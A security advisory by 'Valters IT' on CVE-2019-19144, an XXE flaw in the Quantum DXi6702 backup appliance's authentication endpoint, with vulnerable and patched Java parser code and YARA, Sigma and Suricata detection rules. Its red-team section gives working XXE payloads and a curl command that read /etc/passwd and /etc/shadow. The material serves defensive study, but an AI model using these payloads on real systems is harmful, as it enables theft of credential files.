CVE-2019-19144

Executive Summary

CVE-2019-19144 is a critical XML External Entity (XXE) Injection vulnerability affecting the Quantum DXi6702 backup appliance, specifically version 2.3.0.3 (Build304). The flaw resides in the rest/Users?action=authenticate endpoint, allowing an unauthenticated attacker to send a crafted XML payload that includes external entity references. Successful exploitation can lead to unauthorized disclosure of sensitive files from the server’s filesystem, such as configuration files, credentials, or other system data. The vulnerability has a CVSS score of 0.0 in the NVD record, but based on the vector analysis, it is rated 7.5 (HIGH) due to network exploitability, low complexity, and high confidentiality impact. No official patch has been released by Quantum, and no public exploit code or Nuclei template is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched systems.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a proprietary appliance (Quantum DXi6702). No supply chain package security concerns apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (HIGH)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full file read capability.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: HIGH. The vulnerability allows an unauthenticated attacker to read arbitrary files from the appliance, potentially exposing sensitive data like SSH keys, database credentials, or backup configurations.

Deep Dive & Mechanics

The vulnerability is a classic XML External Entity (XXE) injection in the authentication REST API endpoint. The endpoint rest/Users?action=authenticate accepts XML input for user authentication. The XML parser is configured to process external entities without proper validation or restriction.

How it works:

1. An attacker sends a POST request to /rest/Users?action=authenticate with a crafted XML payload.
2. The payload defines an external entity that references a local file (e.g., /etc/passwd or /etc/shadow).
3. The XML parser resolves the entity and includes the file content in the response or in an error message.
4. The attacker receives the file content, leading to information disclosure.

Example vulnerable XML payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <username>&xxe;</username>
  <password>test</password>
</user>

The server processes the &xxe; entity and returns the contents of /etc/passwd in the response.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The server likely uses a default XML parser configuration that does not disable external entity processing. For example, in Java:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

This configuration is vulnerable because DocumentBuilderFactory by default allows DOCTYPE declarations and external entities.

Patched Code (Conceptual): To fix, the parser must be configured to disable external entities:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

This prevents DOCTYPE declarations and external entity resolution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target Quantum DXi6702 appliance with version 2.3.0.3 (Build304).
• Network access to the REST API endpoint.

Exploitation Steps:

1. Identify the target endpoint: https://<target_ip>/rest/Users?action=authenticate
2. Craft an XXE payload to read a sensitive file, e.g., /etc/shadow:

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "file:///etc/shadow">
   ]>
   <user>
     <username>&xxe;</username>
     <password>test</password>
   </user>
   

3. Send the payload using curl:

   curl -X POST "https://<target_ip>/rest/Users?action=authenticate" \
        -H "Content-Type: application/xml" \
        -d '<?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "file:///etc/shadow">
   ]>
   <user>
     <username>&xxe;</username>
     <password>test</password>
   </user>'
   

4. The response will contain the contents of /etc/shadow (or an error message with the file content).

Alternative Payloads:

• Read configuration files: file:///etc/config/network.conf
• Read application logs: file:///var/log/syslog
• Use blind XXE techniques if output is not directly reflected (e.g., out-of-band exfiltration via HTTP).

Blue Team (Detection & Response)

Detection:

• Monitor HTTP POST requests to /rest/Users?action=authenticate with Content-Type: application/xml.
• Look for XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM keywords.
• Alert on responses containing unexpected file paths or system file contents (e.g., root:x:0:0:root).

Response:

• Immediately isolate the affected appliance from the network.
• Review logs for any successful exploitation (e.g., unusual file reads).
• Apply temporary workaround: block access to the REST API endpoint via firewall or WAF rules.
• Contact Quantum support for patch status.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /rest/Users?action=authenticate with XML content.
  • XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM declarations.
  • Outbound connections from the appliance to attacker-controlled servers (for blind XXE exfiltration).

• File IOCs:

  • Unauthorized access to sensitive files like /etc/passwd, /etc/shadow, /etc/config/*.
  • Modified XML parser configuration files (if attacker gains persistence).

• Log IOCs:

  • Error logs containing file paths or system file contents.
  • Authentication logs showing successful authentication without valid credentials.

Detection Engineering

YARA Rule

rule CVE_2019_19144_XXE_Quantum_DXi6702 {
    meta:
        description = "Detects XXE payloads targeting Quantum DXi6702 rest/Users endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-19144"
    strings:
        $xml_doctype = /<!DOCTYPE\s+\w+\s*\[/ nocase
        $entity_system = /<!ENTITY\s+\w+\s+SYSTEM\s+["']file:\/\// nocase
        $endpoint = /rest\/Users\?action=authenticate/ nocase
    condition:
        all of them
}

Sigma Rule

title: XXE Exploitation Attempt Against Quantum DXi6702
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to /rest/Users?action=authenticate with XXE payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/rest/Users?action=authenticate'
        cs-content-type: 'application/xml'
        cs-request-body|contains:
            - '<!DOCTYPE'
            - '<!ENTITY'
            - 'SYSTEM'
    condition: selection
falsepositives:
    - Legitimate XML authentication requests (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-19144 - XXE Injection in Quantum DXi6702 rest/Users";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/rest/Users?action=authenticate"; http_uri;
    content:"application/xml"; http_content_type;
    content:"<!DOCTYPE"; http_client_body;
    content:"<!ENTITY"; http_client_body;
    content:"SYSTEM"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2019-19144;
    classtype:attempted-recon;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected appliance from untrusted networks (e.g., place behind a firewall with strict ACLs).
2. Block access to the /rest/Users endpoint from external networks using WAF or firewall rules.
3. Monitor logs for any signs of exploitation.

Long-term Fix:

• No official patch is available. Contact Quantum support for a firmware update.
• As a workaround, disable the XML parser’s external entity processing if possible (requires vendor intervention).
• Consider replacing the appliance if no patch is released.

Compensating Controls:

• Implement a reverse proxy that validates and sanitizes XML input before forwarding to the appliance.
• Use a Web Application Firewall (WAF) with rules to block XXE payloads (e.g., block <!DOCTYPE and SYSTEM in XML bodies).

Valters IT